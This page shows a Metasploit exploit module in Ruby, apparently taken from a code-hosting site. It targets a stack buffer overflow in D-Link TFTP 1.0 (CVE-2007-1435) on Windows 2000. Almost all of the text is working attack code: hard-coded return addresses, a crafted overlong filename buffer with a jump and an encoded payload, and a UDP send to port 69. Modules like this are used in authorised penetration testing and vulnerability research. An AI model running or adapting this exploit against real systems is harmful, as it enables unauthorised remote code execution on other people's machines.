Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/dlink_long_filename.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in D-Link TFTP 1.0.15By sending a request for an overly long file name, an attacker16could overflow a buffer and execute arbitrary code. For best results,17use bind payloads with nonx (No NX).18},19'Author' =>20[21'LSO <lso[at]hushmail.com>', # Exploit module22'aushack', # Refs, stability, targets etc23],24'References' =>25[26[ 'CVE', '2007-1435' ],27[ 'OSVDB', '33977' ],28[ 'BID', '22923' ],29],30'DefaultOptions' =>31{32'EXITFUNC' => 'process',33},34'Payload' =>35{36'Space' => 1024,37'BadChars' => "\x00",38'Compat' =>39{40'ConnectionType' => '-reverse',41},42},43'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],44'Platform' => 'win',4546'Targets' =>47[48# Patrick tested OK 2009022849['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx50['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx51],52'Privileged' => false,53'DisclosureDate' => '2007-03-12',54'DefaultTarget' => 0))5556register_options(57[58Opt::RPORT(69)59], self)60end6162def exploit63connect_udp6465print_status("Trying target #{target.name}...")6667juju = "\x00\x01"68juju << Rex::Text.rand_text_alpha_upper(581)69juju << Rex::Arch::X86.jmp_short(42)70juju << Rex::Text.rand_text_alpha_upper(38)71juju << [target.ret].pack('V') + payload.encoded7273udp_sock.put(juju)7475handler76disconnect_udp77end78end798081